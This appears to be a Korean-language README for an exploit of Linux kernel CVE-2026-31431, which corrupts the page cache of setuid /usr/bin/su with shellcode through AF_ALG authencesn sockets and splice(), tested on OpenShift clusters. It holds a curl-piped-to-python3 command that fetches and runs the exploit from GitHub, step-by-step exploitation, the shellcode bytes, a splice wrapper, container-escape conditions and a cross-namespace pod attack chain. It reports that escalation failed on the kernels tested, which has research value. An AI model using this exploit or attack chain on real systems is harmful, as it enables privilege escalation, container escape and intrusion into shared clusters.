
Linux 커널 CVE-2026-31431에 대한 익스플로잇으로, authencesn AEAD 조작을 통해 페이지 캐시 손상을 유발하며, 컨테이너 및 OpenShift 환경에서 권한 상승을 노립니다.
authencesn AEAD 조작을 통한 Linux 커널 페이지 캐시 손상.
RHEL 9.6 커널을 사용하는 여러 OpenShift 4.20.16 클러스터에서 광범위한 테스트를 수행한 결과:
전체 세부 정보는 종합 테스트 결과 섹션을 참조하세요.
CVE-2026-31431은 authencesn AEAD 암호화 구현의 Linux 커널 취약점으로, 권한 없는 프로세스가 AF_ALG 소켓과 splice() 시스템 호출 조작을 통해 읽기 가능한 파일의 페이지 캐시를 손상시킬 수 있습니다.
테스트 결과: 페이지 캐시 손상은 안정적으로 작동하지만, 테스트 환경의 RHEL 9.6 커널에서는 권한 상승이 발생하지 않습니다.
CVSS 점수: 7.8 (높음)
영향 대상: authencesn을 지원하는 Linux 커널 버전 (2017-2026)
공개 공개: 2026년 4월 29일
splice() 시스템 호출 래퍼 포함/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### 로컬 파일에서```bash
python3 exploit.py
su
발생할 일:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**페이지 캐시 검증 (손상 확인):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
일어나지 않을 일 (테스트 기반):```bash
su
id -u
**결론:** 페이지 캐시 손상은 성공하지만, 권한 상승은 실패합니다.
## 기술적 세부 사항
### 취약점
Linux 커널의 `authencesn`(인증된 암호화 - 확장 시퀀스 번호) 구현에는 제자리(in-place) 연산 처리에 결함이 있습니다. AF_ALG 소켓을 통해 제출된 AEAD 연산을 처리할 때, 페이지 캐시 페이지가 커널의 쓰기 가능한 대상 scatterlist에 포함될 수 있습니다.
### 악용 기법
1. **AF_ALG 소켓 생성** - `authencesn(hmac(sha256),cbc(aes))` 사용
2. **AEAD 매개변수 구성** (키, 인증 크기)
3. **대상 setuid 바이너리 열기** (예: `/usr/bin/su`)
4. **splice() 사용**하여 바이너리를 페이지 캐시에 로드
5. **제자리 AEAD 연산 트리거**하여 페이지 캐시에 쓰기 발생
6. **셸코드 작성** - 한 번에 4바이트씩
7. **수정된 바이너리 실행**하여 root 권한 획득
### 셸코드
이 악용 도구는 `/usr/bin/su`를 패치하는 160바이트 셸코드를 사용합니다:
- 비밀번호 인증 건너뛰기
- root 셸 접근 권한 부여
- 권한 없는 사용자에게는 정상 기능 유지
## Python 3.9 호환성
Python 3.9 및 이전 버전에는 표준 라이브러리에 `os.splice()`가 없습니다. 이 악용 도구에는 ctypes 기반 구현이 포함되어 있습니다:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
이 익스플로잇은 다음 환경에서 작동합니다:
노드 구성:
테스트 결과:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### 테스트 환경 2: 새 OpenShift 클러스터 (검증 테스트)
**클러스터:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**노드 구성:**
- 커널: 5.14.0-570.96.1.el9_6.x86_64 (테스트 1과 동일)
- OpenShift: 4.20.16
- SCC: restricted-v2 (확인됨)
- UID: 1000810000 (사용자 네임스페이스)
- Capabilities: 0x0000000000000000 (ZERO)
**테스트 결과:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
일관성: 독립적인 클러스터 전반에 걸쳐 100% 재현 가능한 결과
시나리오 A: hostPath 볼륨 사용 (컨테이너 탈출 가능)```yaml volumes:
결과: ✅ **컨테이너 탈출** - 호스트 페이지 캐시 수정 (장치 33, 아이노드 4288)
**시나리오 B: Restricted-v2 SCC (hostPath 없음)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
결과: ❌ 컨테이너 탈출 없음 - 컨테이너 오버레이(별도 inode)에만 영향
핵심 발견: 컨테이너 탈출의 결정 요인은 capabilities가 아닌 hostPath 접근입니다.
가능한 설명(추가 연구 필요):
읽기 vs 실행 코드 경로
mmap(PROT_READ) 작업에 영향을 줍니다mmap(PROT_EXEC)은 손상된 캐시를 우회할 수 있습니다메모리 보호
커널 버전별 차이
| 테스트 | OpenShift 4.20 #1 | OpenShift 4.20 #2 | 상태 |
|---|---|---|---|
| AF_ALG 소켓 접근 | ✅ | ✅ | 작동 |
| 페이지 캐시 손상 | ✅ | ✅ | 작동 |
| 셸코드 주입 | ✅ | ✅ | 작동 |
| 셸코드 표시(READ) | ✅ | ✅ | 작동 |
| UID 변경(권한 상승) | ❌ | ❌ | 실패 |
| 코드 실행 | ❌ | ❌ | 실패 |
| 컨테이너 탈출(restricted-v2) | ❌ | ❌ | 차단됨 |
결론: 커널 취약점은 실제로 존재하지만(페이지 캐시 손상 입증됨), 실질적인 악용은 제한적입니다.
| 시스템 | 커널 | 페이지 캐시 손상 | 권한 상승 | 비고 |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ 예 | ❌ 아니요 | OpenShift 4.20.16 워커 |
| OpenShift 4.20 컨테이너 | 5.14.0-570.96.1.el9_6 | ✅ 예 | ❌ 아니요 | restricted-v2 SCC |
참고: 테스트는 RHEL 9.6 커널로 제한되었습니다. 다른 배포판/버전에서의 동작은 검증되지 않았습니다.
RHEL CoreOS 9.4를 실행하는 OpenShift 4.20 클러스터에서 성공적으로 테스트했습니다. 이 섹션은 네임스페이스 격리 우회 및 컨테이너 손상을 문서화합니다.
⚠️ 중요한 수정: 초기 테스트에서는 /proc/1/root를 통한 호스트 파일시스템 접근이 가능하다고 잘못 주장했습니다. 이는 틀렸습니다 - 격리된 컨테이너의 /proc/1/root는 OpenShift 워커 노드 호스트가 아닌 컨테이너 자체의 파일시스템을 가리킵니다. 자세한 분석은 attacks/README.md를 참조하세요.
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### 1단계: 네임스페이스 격리 우회
**취약점:** OpenShift 내부 레지스트리가 적절한 RBAC 적용 없이 교차 네임스페이스 이미지 풀을 허용합니다.
**악용:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
결과:
openshift/cli 이미지를 openshift 네임스페이스에서 가져옴영향: 테넌트 간 수평 이동 및 권한 있는 도구 접근을 허용합니다.